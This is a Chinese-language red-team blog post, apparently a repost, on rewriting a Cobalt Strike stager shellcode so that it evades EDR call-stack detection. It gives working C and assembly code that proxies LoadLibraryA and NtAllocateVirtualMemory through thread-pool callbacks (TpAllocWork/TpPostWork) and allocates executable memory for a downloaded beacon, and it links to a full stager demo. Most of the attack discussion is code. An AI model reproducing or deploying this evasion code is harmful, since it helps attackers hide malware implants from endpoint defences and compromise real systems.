利用自定义堆栈进行 Shellcode 开发

渗透技巧 1年前 (2023) admin
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1. 概述

最近学习了下 BRC4 作者1月发表的博客 Hiding In PlainSight – Indirect Syscall is Dead! Long Live Custom Call Stacks (以下称原文章),原文章讲述了利用回调函数和通过少量汇编代码修改堆栈来绕过 EDR 的一些技巧,刚好前几天尝试重写了 CS 的 shellcode,今天打算用这篇文章里提到的一些技术来改造下之前写的 shellcode,算是之前 CS 4.7 Stager 逆向及 Shellcode 重写 – 先知社区 的一个续篇。

2. EDR 的检测点

一些 EDR 通过用户态 hook 或 ETW 对敏感 API 的调用进行堆栈追踪,通过回溯堆栈中的返回地址以捕获 Shellcode:

|-----------Top Of The Stack-----------|
|                                      |
|                                      |
|--------------------------------------|
|------Stack Frame of LoadLibrary------|
|     Return address of RX on disk     |
|                                      |
|----------Stack Frame of RX-----------|  <- Detection (An unbacked RX region should never call LoadLibraryA)
|     Return address of PE on disk     |
|                                      |
|-----------Stack Frame of PE----------|
| Return address of RtlUserThreadStart |
|                                      |
|---------Bottom Of The Stack----------|

3. 使用回调函数

回调函数就是一个通过函数指针调用的函数。如果你把函数的指针(地址)作为参数传递给另一个函数,当这个指针被用来调用其所指向的函数时,我们就说这是回调函数。回调函数不是由该函数的实现方直接调用,而是在特定的事件或条件发生时由另外的一方调用的,用于对该事件或条件进行响应。

作者在原文章中以 TpAllocWork 函数为例,该函数的结构如下:

NTSTATUS NTAPI TpAllocWork(
    PTP_WORK* ptpWrk,
    PTP_WORK_CALLBACK pfnwkCallback,
    PVOID OptionalArg,
    PTP_CALLBACK_ENVIRON CallbackEnvironment
)
;

其中的第二个参数即是一个函数指针,假如我们将该参数替换成指向 LoadLibraryA 函数的指针,那么函数 LoadLibraryA 就会作为一个回调函数传递给 TpAllocWork,而后通过调用 TpPostWork 来创建一个新的线程执行 TpAllocWork 中的保存的回调函数,此时,LoadLibraryA 函数的返回地址会指向 TpPostWork 函数。理想的函数返回情况如下:

LoadLibraryA -> TpPostWork -> RtlUserThreadStart

第三个参数是回调函数的参数,在原文章中是 wininet.dll,我们需要将 wininet.dll 作为参数传递给我们的 LoadLibraryA 函数。但是,TpAllocWork 函数的第二个参数类型 PTP_WORK_CALLBACK 具有如下结构:

VOID CALLBACK WorkCallback(
    PTP_CALLBACK_INSTANCE Instance,
    PVOID Context,
    PTP_WORK Work
)
;

这会导致参数无法正确地传递给 LoadLibraryA,如下,wininet.dll 被赋值给了 RDX 寄存器,在x64架构中,RDX 被用作函数传参时的第二个参数,然而,LoadLibraryA 函数并没有第二个参数!

利用自定义堆栈进行 Shellcode 开发

3.1 替换 LoadLibraryA

在上一节中我们提到,使用 TpAllocWork 函数无法正确地将参数 wininet.dll 传递给 LoadLibraryA 函数,原作者在此处使用的技巧是通过汇编代码将保存在 RDX 寄存器中的参数传递给 RCX 寄存器,之后通过调用 getLoadLibraryA 函数取得 LoadLibraryA 函数的地址保存在 RAX 寄存器中并跳转执行:

section .text

extern getLoadLibraryA

global WorkCallback

WorkCallback:
    mov rcx, rdx
    xor rdx, rdx
    call getLoadLibraryA
    jmp rax

因为 RCX 寄存器在x64架构中被用来作为函数的第一个参数来传递,而调用函数 getLoadLibraryA 的返回值将保存在 RAX 寄存器中,此时,RAX 寄存器中保存的即是 LoadLibraryA 函数的地址,通过 jmp 跳转执行,即可正确地将参数 wininet.dll 传递给 LoadLibraryA 函数,getLoadLibraryA 函数如下:

UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)pLoadLibraryA;
}

修改后的堆栈调用:

利用自定义堆栈进行 Shellcode 开发

作者给出的示例代码如下:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);

FARPROC pLoadLibraryA;

UINT_PTR getLoadLibraryA() {
    return (UINT_PTR)pLoadLibraryA;
}

extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);

int main() {
    pLoadLibraryA = GetProcAddress(GetModuleHandleA("kernel32"), "LoadLibraryA");
    FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
    FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");

    CHAR *libName = "wininet.dll";
    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, libName, NULL);
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);

    WaitForSingleObject((HANDLE)-10x1000);
    printf("hWininet: %pn", GetModuleHandleA(libName));

    return 0;
}

此处作者定义了一个全局变量 pLoadLibraryA 用于调用函数 getLoadLibraryA 时取得 LoadLibraryA 的函数地址,但是因为我们要写的是一段 shellcode,不能使用全局变量,所以我对此处的 getLoadLibraryA 函数进行了适当的修改,将 pLoadLibrary定义为局部变量并通过函数 GetProcAddressWithHash 获取其地址:

EXTERN_C UINT_PTR getLoadLibraryA() {
    FARPROC pLoadLibraryA = (FN_LoadLibraryA)GetProcAddressWithHash(0x0726774C);
    return (UINT_PTR)pLoadLibraryA;
}

而这又引入了新的问题,在调用 GetProcAddressWithHash 函数后,用于传递参数的几个寄存器的值均发生了变化,这会再次导致参数 wininet.dll 无法正确地传递给 LoadLibraryA 函数,我在此处采用的方法是将 xmm 寄存器作为临时传递参数的寄存器,修改后的汇编代码如下:

myLoadLibrary PROC
    movq xmm3, rdx
    xor rdx, rdx
    call getLoadLibraryA
    movq rcx, xmm3
    xorps xmm3, xmm3
    jmp rax
myLoadLibrary ENDP

3.2 替换 VirtualAlloc

除了对动态链接库的加载进行监测外,一些敏感 API 函数也受到 EDR 的监视,原文章以 NtAllocateVirtualMemory 为例。

首先创建一个结构体用来保存 NtAllocateVirtualMemory 和它的参数:

typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
    UINT_PTR pNtAllocateVirtualMemory;   // pointer to NtAllocateVirtualMemory - rax
    HANDLE hProcess;                     // HANDLE ProcessHandle - rcx
    PVOID* address;                      // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
    PSIZE_T size;                        // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
    ULONG permissions;                   // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;

之后,我们初始化这个结构体,将它作为指针传递给 TpAllocWork 函数调用我们的回调函数:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS (NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID (NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID (NTAPI* TPRELEASEWORK)(PTP_WORK);

typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS {
    UINT_PTR pNtAllocateVirtualMemory;   // pointer to NtAllocateVirtualMemory - rax
    HANDLE hProcess;                     // HANDLE ProcessHandle - rcx
    PVOID* address;                      // PVOID *BaseAddress - rdx; ULONG_PTR ZeroBits - 0 - r8
    PSIZE_T size;                        // PSIZE_T RegionSize - r9; ULONG AllocationType - MEM_RESERVE|MEM_COMMIT = 3000 - stack pointer
    ULONG permissions;                   // ULONG Protect - PAGE_EXECUTE_READ - 0x20 - stack pointer
} NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS;

extern VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);

int main() {
    LPVOID allocatedAddress = NULL;
    SIZE_T allocatedsize = 0x1000;

    NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 };
    ntAllocateVirtualMemoryArgs.pNtAllocateVirtualMemory = (UINT_PTR) GetProcAddress(GetModuleHandleA("ntdll"), "NtAllocateVirtualMemory");
    ntAllocateVirtualMemoryArgs.hProcess = (HANDLE)-1;
    ntAllocateVirtualMemoryArgs.address = &allocatedAddress;
    ntAllocateVirtualMemoryArgs.size = &allocatedsize;
    ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READ;

    FARPROC pTpAllocWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpAllocWork");
    FARPROC pTpPostWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpPostWork");
    FARPROC pTpReleaseWork = GetProcAddress(GetModuleHandleA("ntdll"), "TpReleaseWork");

    PTP_WORK WorkReturn = NULL;
    ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)WorkCallback, &ntAllocateVirtualMemoryArgs, NULL);
    ((TPPOSTWORK)pTpPostWork)(WorkReturn);
    ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn);

    WaitForSingleObject((HANDLE)-10x1000);
    printf("allocatedAddress: %pn", allocatedAddress);
    getchar();

    return 0;
}

在之前处理 LoadLibraryA 函数时,为了能够构造 PTP_WORK_CALLBACK 类型的函数结构并将正确的参数传递给 LoadLibraryA 函数,我们编写了一些汇编代码将 RDX 寄存器中的存储的参数转移到了 RCX 寄存器中,而此处的 NtAllocateVirtualMemory 函数有6个参数,这些参数在传递时不仅使用了寄存器,还需要使用堆栈进行传参。我们的 WorkCallback 本质上是通过另一个函数 TppWorkpExecuteCallback 进行调用的,此时的堆栈顶部会保存该函数的返回地址:

利用自定义堆栈进行 Shellcode 开发


利用自定义堆栈进行 Shellcode 开发

如果我们此时修改堆栈顶部的内容,将 NtAllocateVirtualMemory 函数的参数分配新的空间到栈中,会破坏这个堆栈结构,从而导致 WorkCallback 函数无法正常返回,所以我们不能改变现有的堆栈结构,同时又将 NtAllocateVirtualMemory 参数的值保存到这个堆栈结构中,恰好当前 TppWorkpExecuteCallback 函数的堆栈结构有足够的空间容纳 NtAllocateVirtualMemory 函数的参数,作者给出的汇编代码:

section .text

global WorkCallback

WorkCallback:
    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx
    mov rax, [rbx]              ;
 NtAllocateVirtualMemory
    mov rcx, [rbx + 0x8]        ; HANDLE ProcessHandle
    mov rdx, [rbx + 0x10]       ; PVOID *BaseAddress
    xor r8, r8                  ; ULONG_PTR ZeroBits
    mov r9, [rbx + 0x18]        ; PSIZE_T RegionSize
    mov r10, [rbx + 0x20]       ; ULONG Protect
    mov [rsp+0x30], r10         ; stack pointer for 6th arg
    mov r10, 0x3000             ; ULONG AllocationType
    mov [rsp+0x28], r10         ; stack pointer for 5th arg
    jmp rax

调用 NtAllocateVirtualMemory 时寄存器和堆栈情况:

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此时 NtAllocateVirtualMemory 在堆栈调用关系上与我们的 shellcode 区域没有明显的关联:

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构建 Shellcode

Shellcode 的编写方法我在 CS 4.7 Stager 逆向及 Shellcode 重写 – 先知社区 已经做了介绍,这里不再赘述。

替换 LoadLibraryA 进行模块加载:

/* Load User32.dll */
ai.pfnTpAllocWork(&LoadUser32, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szUser32, NULL);
ai.pfnTpPostWork(LoadUser32);
ai.pfnTpReleaseWork(LoadUser32);

/* Load Wininet.dll */
ai.pfnTpAllocWork(&LoadWininet, (PTP_WORK_CALLBACK)myLoadLibrary, (PVOID)szWininet, NULL);
ai.pfnTpPostWork(LoadWininet);
ai.pfnTpReleaseWork(LoadWininet);

替换 VirtualAlloc 分配内存空间:

/* Allocate Memory For URL */
ntAllocateVirtualMemoryUrlArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryUrlArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryUrlArgs.address = &httpurl;
ntAllocateVirtualMemoryUrlArgs.size = &allocatedurlsize;
ntAllocateVirtualMemoryUrlArgs.permissions = PAGE_READWRITE;

ai.pfnTpAllocWork(&AllocUrl, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryUrlArgs, NULL);
ai.pfnTpPostWork(AllocUrl);
ai.pfnTpReleaseWork(AllocUrl);

/* Allocate Memory For Beacon */
ntAllocateVirtualMemoryBeaconArgs.pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddressWithHash(0x9488B12D);
ntAllocateVirtualMemoryBeaconArgs.hProcess = (HANDLE)-1;
ntAllocateVirtualMemoryBeaconArgs.address = &beacon;
ntAllocateVirtualMemoryBeaconArgs.size = &allocatedbeaconsize;
ntAllocateVirtualMemoryBeaconArgs.permissions = PAGE_EXECUTE_READWRITE;

ai.pfnTpAllocWork(&AllocBeacon, (PTP_WORK_CALLBACK)myNtAllocateVirtualMemory, &ntAllocateVirtualMemoryBeaconArgs, NULL);
ai.pfnTpPostWork(AllocBeacon);
ai.pfnTpReleaseWork(AllocBeacon);

回调函数的汇编代码:


EXTRN   getLoadLibraryA: PROC
PUBLIC  myLoadLibrary
PUBLIC  myNtAllocateVirtualMemory

_TEXT   SEGMENT

myLoadLibrary PROC
    movq xmm3, rdx
    xor rdx, rdx
    call getLoadLibraryA
    movq rcx, xmm3
    xorps xmm3, xmm3
    jmp rax
myLoadLibrary ENDP

myNtAllocateVirtualMemory PROC
    mov rbx, rdx                ; backing up the struct as we are going to stomp rdx
    mov rax, [rbx]              ;
 NtAllocateVirtualMemory
    mov rcx, [rbx + 8h]        ; HANDLE ProcessHandle
    mov rdx, [rbx + 10h]       ; PVOID *BaseAddress
    xor r8, r8                  ; ULONG_PTR ZeroBits
    mov r9, [rbx + 18h]        ; PSIZE_T RegionSize
    mov r10, [rbx + 20h]       ; ULONG Protect
    mov [rsp+30h], r10         ; stack pointer for 6th arg
    mov r10, 3000h             ; ULONG AllocationType
    mov [rsp+28h], r10         ; stack pointer for 5th arg
    jmp rax
myNtAllocateVirtualMemory ENDP

_TEXT   ENDS

END

将汇编部分编译成 obj 文件,然后在项目属性链接器部分将其作为附加依赖项:

利用自定义堆栈进行 Shellcode 开发

需要注意的是,项目属性要禁用优化或者改为优化速度,否则编译的 shellcode 无法正常运行(这里我也不清楚原因,有知道的师傅还请指教下),这也导致提取出来的 shellcode 比之前的大了一倍多:

利用自定义堆栈进行 Shellcode 开发

提取 shellcode,使用一个简单的加载器测试上线:

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完整 demo(写的比较粗糙):https://github.com/ReLay280h/myStager


https://xz.aliyun.com/t/12273

有hvv需求的兄弟可以添加下方微信:

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RBCD

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DLLIAT

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原文始发于微信公众号(红队蓝军):利用自定义堆栈进行 Shellcode 开发

版权声明:admin 发表于 2023年3月15日 上午10:01。
转载请注明:利用自定义堆栈进行 Shellcode 开发 | CTF导航

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